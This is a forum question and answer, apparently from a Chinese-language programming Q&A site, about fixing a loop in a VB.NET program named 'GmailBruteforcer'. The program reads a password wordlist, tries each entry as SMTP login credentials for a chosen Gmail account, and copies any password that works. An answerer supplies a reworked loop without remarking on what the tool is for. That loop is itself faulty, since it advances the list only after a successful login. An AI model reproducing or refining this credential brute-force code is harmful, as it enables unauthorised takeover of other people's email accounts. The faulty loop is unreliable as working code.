2015-09-05 142 views
0

我想停止循環,當它完成後,我不知道如何阻止它。這裏是完整的源代碼。停止循環VB.NET

Imports System.Net.Mail 

Public Class GmailBruteforcer 
    Private Sub GmailBruteforcer_Load(sender As Object, e As EventArgs) Handles MyBase.Load 
    End Sub 

    Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click 
     OpenFileDialog1.Title = "Please Select a File" 
     OpenFileDialog1.AddExtension = True 
     OpenFileDialog1.Filter = "Text Files (*.txt) |*.txt" 
     OpenFileDialog1.ShowDialog() 
    End Sub 

    Private Sub OpenFileDialog1_FileOk(sender As Object, e As System.ComponentModel.CancelEventArgs) Handles OpenFileDialog1.FileOk 
     Dim strm As System.IO.Stream 
     strm = OpenFileDialog1.OpenFile() 
     TextBox2.Text = OpenFileDialog1.FileName.ToString() 
     If Not (strm Is Nothing) Then 
      strm.Close() 
     End If 
    End Sub 

    Private Sub Button2_Click(sender As Object, e As EventArgs) Handles Button2.Click 
     emailloop() 
    End Sub 

    Sub emailloop() 
     Dim objReader As New System.IO.StreamReader(TextBox2.Text) 
     For i As Int32 = 0 To 100000 
      TextBox3.Text = objReader.ReadLine 
      If TextBox3.Text = "" Then MsgBox("Password not found") 
      Try 
       Dim mail As New MailMessage 
       mail.To.Add("[email protected]") 
       mail.From = New MailAddress(TextBox1.Text) 
       mail.Subject = "test123" 
       mail.Body = TextBox3.Text 
       Dim SMTP As New SmtpClient("smtp.gmail.com") 
       SMTP.Port = 587 
       SMTP.EnableSsl = True 
       SMTP.Credentials = New System.Net.NetworkCredential(TextBox1.Text, TextBox3.Text) 
       SMTP.Send(mail) 
       MsgBox(" Password: " + TextBox3.Text) 
       Clipboard.SetText(TextBox3.Text) 
       MsgBox("Password Copied!") 
      Catch ex As Exception 
      End Try 
     Next 
    End Sub 

    Private Sub Button3_Click(sender As Object, e As EventArgs) Handles Button3.Click 
    End Sub 
End Class 

回答

0

像這樣的東西應該工作:

Sub emailloop() 
    Dim objReader As New System.IO.StreamReader(TextBox2.Text) 
    Dim line as String 

    line = objReader.ReadLine 

    Do While (Not line Is Nothing) 
     TextBox3.Text = line 
     If TextBox3.Text = "" Then MsgBox("Password not found") 

     Try 
      Dim mail As New MailMessage 
      mail.To.Add("[email protected]") 
      mail.From = New MailAddress(TextBox1.Text) 
      mail.Subject = "test123" 
      mail.Body = TextBox3.Text 
      Dim SMTP As New SmtpClient("smtp.gmail.com") 
      SMTP.Port = 587 
      SMTP.EnableSsl = True 
      SMTP.Credentials = New System.Net.NetworkCredential(TextBox1.Text, TextBox3.Text) 
      SMTP.Send(mail) 
      MsgBox(" Password: " + TextBox3.Text) 
      Clipboard.SetText(TextBox3.Text) 
      MsgBox("Password Copied!") 

      line = objReader.ReadLine 
     Catch ex As Exception 

     End Try 
    Loop 
End Sub 
+0

它顯示我此錯誤 'objReader' 未聲明。由於其保護級別,它可能無法訪問。 –

+0

請檢查編輯答案 – Harsh

+0

感謝它工作 –